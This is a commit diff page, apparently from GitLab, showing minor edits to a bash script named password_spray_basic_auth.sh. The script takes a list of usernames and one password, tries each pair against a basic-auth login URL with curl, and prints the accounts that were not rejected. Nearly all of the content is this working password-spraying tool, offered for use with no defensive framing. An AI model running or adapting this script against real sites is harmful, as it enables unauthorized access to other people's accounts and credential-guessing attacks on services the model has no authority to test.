Commit f4b527e2 authored by Tim Rice's avatar Tim Rice
Browse files

Update password_spray_basic_auth.sh

parent f6821816
#!/bin/bash
#########################################################################################
# Here is a simple password spray for a basic auth attack #
# #
# Usage thisscript.sh pathof_usernames.txt password_to_try URL #
# I.e. ./thisscript.sh /tmp/usernames.txt Summer2019 https://website.com/login.php #
# Here is a simple password spray for a basic auth attack #
# #
# Usage thisscript.sh pathof_usernames.txt password_to_try URL #
# I.e. ./thisscript.sh /tmp/usernames.txt Summer2019 https://website.com/login.php #
#########################################################################################
script=$(basename -- "$0")
......@@ -14,12 +14,12 @@ if [[ -z $1 || -z $2 || -z $3 ]]
then
clear && echo "You failed to execute this script correctly:
Usage thisscript.sh pathof_usernames.txt password_to_try URL
I.e $(pwd)${script} /tmp/usernames.txt Summer2019 https://website.com/login.php"
I.e $(pwd)/${script} /tmp/usernames.txt Summer2019 https://website.com/login.php"
exit 9
fi
rm password_spray_results.txt
cat /dev/null > /tmp/password_spray_results.txt
INPUT=$1
......@@ -31,7 +31,7 @@ do
curl -s -vvvv -IL --user ${useraccount}:${2} ${3} -o .curl 2>.curl2
size=$(stat --printf="%s" .curl)
code=$(cat .curl | grep HTTP | tail -1)
echo "$useraccount,$size,$code" >>/tmp/password_spray_results.txt
echo "$useraccount,$size,$code" >>/tmp/password_spray_results.txt
done < $INPUT
IFS=$OLDIFS
......@@ -43,4 +43,4 @@ cat /tmp/password_spray_results.txt | grep -v Unauthorized | cut -d',' -f1
echo "See results in /tmp/password_spray_results.txt file"
exit 0
\ No newline at end of file
exit 0
Markdown is supported
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment